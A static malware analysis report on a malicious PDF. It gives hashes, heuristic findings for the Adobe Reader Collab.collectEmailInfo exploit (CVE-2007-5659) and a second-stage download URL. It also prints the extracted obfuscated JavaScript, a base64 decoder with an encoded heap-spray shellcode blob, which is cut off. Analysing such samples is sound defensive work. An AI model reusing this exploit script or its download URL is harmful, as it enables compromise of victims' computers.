Malicious PDF — malware analysis report

Static analysis result for SHA-256 4f955602c91de2af…

MALICIOUS

PDF

3.2 KB First seen: 2015-09-18
MD5: 18979153900cf59098a60f6d5f225d40 SHA-1: 8a8de4d61d01cadd95c7aa25a31ba2fc0ffea457 SHA-256: 4f955602c91de2af0abafcb44e122ab9b4d548116b0bb8acd967994123a6669c
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF was flagged by an ML classifier with high confidence as malicious. Static analysis revealed embedded JavaScript, including the use of String.fromCharCode for obfuscation. The presence of a JavaScript action and an embedded JS stream indicates that the script is likely designed to download and execute a second-stage payload. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://privet3.cn/myexp2/getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0002_000.js pdf-javascript-stream PDF /JS object 2 at offset 0x67 21353 bytes
SHA-256: edc8c9610c6349c15360c62d98f7f5278e74fe6108a9553024d1e6cf7672fd33
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("CiB2YXIgcmRHNUdRSm5ocFUgPSBuZXcgQXJyYXkoKTsKIHZhciBIQTdDTGpNbTA0ZzsKIHZhciBsYXZlID0gZXZhbDsKICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNDUlNzElNzYlMzUlNzIlNTIlNTYlNDclNzAlNTElNzUlMjglNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMmMlMjAlNjUlNDclNDIlNDglNjMlNzklNTIlNjclNjUlNjElNTclMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlMjAlM2MlMjAlNjUlNDclNDIlNDglNjMlNzklNTIlNjclNjUlNjElNTclMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMjAlMmIlM2QlMjAlNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMjAlM2QlMjAlNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMmUlNzMlNzUlNjIlNzMlNzQlNzIlNjklNmUlNjclMjglMzAlMmMlMjAlNjUlNDclNDIlNDglNjMlNzklNTIlNjclNjUlNjElNTclMjAlMmYlMjAlMzIlMjklM2IlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNmUlMjAlNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElM2IlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNmMlNjUlNGUlMzIlNDElNjQlNzIlNjIlNTklNzglMzglMjglNjglNTQlNzclNjglNjglNjMlMzAlNmMlNTMlNjklMzIlMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNjklNjYlMjglNjglNTQlNzclNjglNjglNjMlMzAlNmMlNTMlNjklMzIlMjAlM2QlM2QlMjAlMzAlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGMlMzElNjQlNjMlNTIlNGElNDclMzMlNzElNzElNjglMjAlM2QlMjAlMzAlNzglMzAlNjMlMzAlNjMlMzAlNjMlMzAlNjMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjMlNzMlNzMlNzIlNmIlNTQlNTAlNjglNjIlMzklNDElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzAlMzIlNDYlMjUlNzUlMzYlMzklMzclMzIlMjUlNzUlMzYlMzUlMzclMzYlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzYlMzMlMzIlNDUlMjUlNzUlMzIlNDYlMzYlNDUlMjUlNzUlMzclMzklMzYlNDQlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzMlMzIlMzclMzAlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNjglNTQlNzclNjglNjglNjMlMzAlNmMlNTMlNjklMzIlMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNGMlMzElNjQlNjMlNTIlNGElNDclMzMlNzElNzElNjglMjAlM2QlMjAlMzAlNzglMzMlMzAlMzMlMzAlMzMlMzAlMzMlMzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjMlNzMlNzMlNzIlNmIlNTQlNTAlNjglNjIlMzklNDElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzAlMzIlNDYlMjUlNzUlMzYlMzklMzclMzIlMjUlNzUlMzYlMzUlMzclMzYlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzYlMzMlMzIlNDUlMjUlNzUlMzIlNDYlMzYlNDUlMjUlNzUlMzclMzklMzYlNDQlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzMlMzIlMzclMzAlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNjglNTQlNzclNjglNjglNjMlMzAlNmMlNTMlNjklMzIlMjAlM2QlM2QlMjAlMzIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjMlNzMlNzMlNzIlNmIlNTQlNTAlNjglNjIlMzklNDElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzAlMzIlNDYlMjUlNzUlMzYlMzklMzclMzIlMjUlNzUlMzYlMzUlMzclMzYlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzYlMzMlMzIlNDUlMjUlNzUlMzIlNDYlMzYlNDUlMjUlNzUlMzclMzklMzYlNDQlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzMlMzIlMzclMzAlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTAlNzElNzIlNDElN2ElNjQlNjMlNjglNjUlNDclNjglMjAlM2QlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmUlNzMlMzAlNjIlMzAlNDIlNTIlMzElNzMlNjYlNzQlMjAlM2QlMjAlNjMlNzMlNzMlNzIlNmIlNTQlNTAlNjglNjIlMzklNDElMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjUlNDclNDIlNDglNjMlNzklNTIlNjclNjUlNjElNTclMjAlM2QlMjAlNTAlNzElNzIlNDElN2ElNjQlNjMlNjglNjUlNDclNjglMjAlMmQlMjAlMjglNmUlNzMlMzAlNjIlMzAlNDIlNTIlMzElNzMlNjYlNzQlMjAlMmIlMjAlMzAlNzglMzMlMzglMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzklMzAlMzklMzAlMjUlNzUlMzklMzAlMzklMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMjAlM2QlMjAlNDUlNzElNzYlMzUlNzIlNTIlNTYlNDclNzAlNTElNzUlMjglNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMmMlMjAlNjUlNDclNDIlNDglNjMlNzklNTIlNjclNjUlNjElNTclMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTQlNTclNjQlNDUlNzclNGIlNzAlMzYlNTYlNGUlNzYlMjAlM2QlMjAlMjglNGMlMzElNjQlNjMlNTIlNGElNDclMzMlNzElNzElNjglMjAlMmQlMjAlMzAlNzglMzQlMzAlM